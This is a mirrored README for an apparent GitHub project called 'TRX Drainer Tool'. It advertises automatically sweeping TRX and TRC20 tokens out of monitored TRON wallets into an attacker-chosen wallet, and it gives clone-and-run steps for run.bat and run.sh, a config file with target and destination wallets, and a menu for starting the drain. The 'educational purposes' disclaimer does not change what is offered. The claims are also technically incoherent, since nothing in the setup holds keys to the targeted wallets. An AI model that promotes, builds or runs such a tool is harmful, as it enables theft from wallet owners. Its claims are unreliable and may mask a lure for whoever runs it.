跳到正文

fiercewarrior84

TRX-Drainer-Tool

TRX Drainer Tool — Automated TRX and TRC20 token drainer for TRON wallets with real-time balance monitoring, multi-wallet sweeping, TronLink/Trust Wallet compatibility, and stealth energy-optimized transaction routing

README 已保存到本站,可直接阅读

Documentation snapshot

README 快照

本页保存的是公开项目资料快照,阅读过程不需要连接 GitHub。

TRX-Drainer-Tool

TRX Drainer Tool — Automated TRX and TRC20 token drainer for TRON wallets with real-time balance monitoring, multi-wallet sweeping, TronLink/Trust Wallet compatibility, and stealth energy-optimized transaction routing

████████╗██████╗ ██╗  ██╗
╚══██╔══╝██╔══██╗╚██╗██╔╝
   ██║   ██████╔╝ ╚███╔╝
   ██║   ██╔══██╗ ██╔██╗
   ██║   ██║  ██║██╔╝ ██╗
   ╚═╝   ╚═╝  ╚═╝╚═╝  ╚═╝
   ██████╗ ██████╗  █████╗ ██╗███╗   ██╗███████╗██████╗
   ██╔══██╗██╔══██╗██╔══██╗██║████╗  ██║██╔════╝██╔══██╗
   ██║  ██║██████╔╝███████║██║██╔██╗ ██║█████╗  ██████╔╝
   ██║  ██║██╔══██╗██╔══██║██║██║╚██╗██║██╔══╝  ██╔══██╗
   ██████╔╝██║  ██║██║  ██║██║██║ ╚████║███████╗██║  ██║
   ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝

TRX Drainer Tool

图片:Python 图片:TRON 图片:Platform 图片:License

Automated TRX and TRC20 token drainer for TRON wallets — real-time balance monitoring, multi-wallet sweeping, energy-optimized transactions, and TronLink/Trust Wallet compatibility

Features • How It Works • Getting Started • Configuration • Usage • FAQ


How It Works

TRX Drainer Tool monitors target TRON wallet addresses via TRON RPC API polling. When a balance above the configured threshold is detected, the tool constructs and submits a transaction that transfers TRX and TRC20 tokens to a predefined destination wallet. Energy optimization mode uses fee delegation and energy rental to minimize transaction costs.

The drainer engine uses:

  • TRON RPC API for balance monitoring
  • TRC20 contract interaction for token transfers
  • Energy optimization via fee delegation
  • Multi-RPC failover for reliability

Features

FeatureStatus
Multi-wallet sweeping+
TRX & TRC20 token draining+
Real-time balance monitoring+
Energy-optimized transactions+
TronLink/Trust Wallet support+
Auto-confirm transactions+
FeatureStatus
Custom fee limits+
Minimum balance threshold+
Fee delegation support+
Multi-RPC failover+
Telegram notifications+
Cross-platform support+

Supported Wallets

WalletSupport
TronLinkFull
Trust WalletFull
LedgerFull
ImTokenFull
BitKeepFull
TokenPocketFull

Supported Tokens

CategoryTokens
NativeTRX
StablecoinsUSDT, USDC, TUSD, USDJ
DeFiJST, SUN, WIN, BTT, NFT
MemeBTT, WIN, NFT, APENFT

Getting Started

Prerequisites

  • OS: Windows 10/11, macOS 12+, or Linux
  • Python: 3.10 or newer

Installation

git clone https://github.com/fiercewarrior84/TRX-Drainer-Tool.git
cd TRX-Drainer-Tool

Windows:

run.bat

macOS / Linux:

chmod +x run.sh
./run.sh

Dependencies

PackageVersionPurpose
rich>=13.0.0Terminal UI & formatting
cryptographylatestData encryption
psutillatestProcess detection
requestslatestAPI price feeds
tronpylatestTRON RPC client

Configuration

Edit config.json:

{
    "target_wallets": [],
    "destination_wallet": "",
    "drain_mode": "sweep",
    "min_balance_trx": 100,
    "include_trc20": true,
    "trc20_tokens": ["USDT", "USDC", "BTT", "WIN", "JST"],
    "rpc_endpoint": "https://api.trongrid.io",
    "energy_optimize": true,
    "auto_confirm": true,
    "fee_limit": 10000000
}
ParameterTypeDescription
target_walletslistTRON addresses to monitor
destination_walletstringReceiving wallet address
drain_modestring"sweep" (all) or "selective"
min_balance_trxintMinimum TRX to trigger drain
include_trc20boolAlso drain TRC20 tokens
trc20_tokenslistTRC20 token symbols to drain
rpc_endpointstringTRON RPC URL
energy_optimizeboolUse fee delegation for lower costs
auto_confirmboolAuto-confirm transactions
fee_limitintMax transaction fee in SUN

Usage

Terminal Menu

python main.py
+--------------------------------------------------------------+
|              TRX DRAINER TOOL                                |
|    Automated Wallet Drainer . TRON                           |
+--------------------------------------------------------------+
|  #   Action                  Description                     |
|  1   Install Dependencies    pip install -r requirements.txt |
|  2   Settings                RPC, fees, energy config        |
|  3   About                   Features & contact info         |
|  4   Add Target Wallets      Add TRON addresses              |
|  5   Set Destination         Set receiving wallet            |
|  6   Start Drainer           Begin monitoring & draining     |
|  7   Stop Drainer            Stop all operations             |
|  8   Status Check            View active drainer status      |
|  0   Exit                    Quit                            |
+--------------------------------------------------------------+

Quick Start

  1. Install dependencies: Select option 1
  2. Add target wallets: Select option 4 and enter TRON addresses
  3. Set destination: Select option 5 and enter receiving wallet
  4. Start drainer: Select option 6 — monitoring begins
  5. Stop: Select option 7 to halt all operations

Project Structure

TRX-Drainer-Tool/
├── main.py                    # Entry point, terminal menu
├── config.py                  # Configuration loader
├── bot_actions.py             # Core drainer actions
├── requirements.txt
├── run.bat / run.sh
├── config.json                # Drainer settings
├── actions/
│   ├── about.py               # Project info
│   ├── install.py             # Dependency installer
│   └── settings.py            # Setup instructions
├── helpers/
│   ├── ui.py                  # Rich terminal interface
│   └── ...
└── release/
    └── README.md              # Binary info

FAQ

Is this tool legal?

This tool is provided for educational and research purposes only. Unauthorized access to wallets you do not own is illegal. Always comply with applicable laws in your jurisdiction.

What is energy optimization?

TRON uses a resource model (Energy and Bandwidth) for transaction fees. Energy optimization uses fee delegation and energy rental strategies to minimize the TRX burned per transaction, making draining more cost-effective.

Which RPC endpoints are supported?

Any TRON RPC endpoint is supported. Recommended: TronGrid (official), Ankr, GetBlock, or your own full node. API keys may be required for higher rate limits.

Does this drain TRC20 tokens too?

Yes, when include_trc20 is enabled, the tool will detect and drain specified TRC20 token balances from target wallets via the TRC20 contract transfer method.


Disclaimer

  • This tool is provided for educational and demonstration purposes only. *

The authors are not responsible for any misuse of this software. Unauthorized access to cryptocurrency wallets is illegal in most jurisdictions. Always comply with applicable regulations.


Support this project

If this tool helps you, consider giving it a *

Official distribution

获取与安装

暂未发现可确认的官方软件包地址

当前 README 快照没有出现 npm、PyPI、Crates.io、pub.dev 等官方包页链接。本站不会根据仓库名称猜测下载地址。

本站不托管项目文件;需要安装时,请以项目维护者发布的官方文档为准。

使用前核验

本站保存公开资料用于阅读,不代表安全审计或功能背书。安装前请核对许可证、依赖来源和发布签名,不要直接运行来源不明的二进制文件或高权限脚本。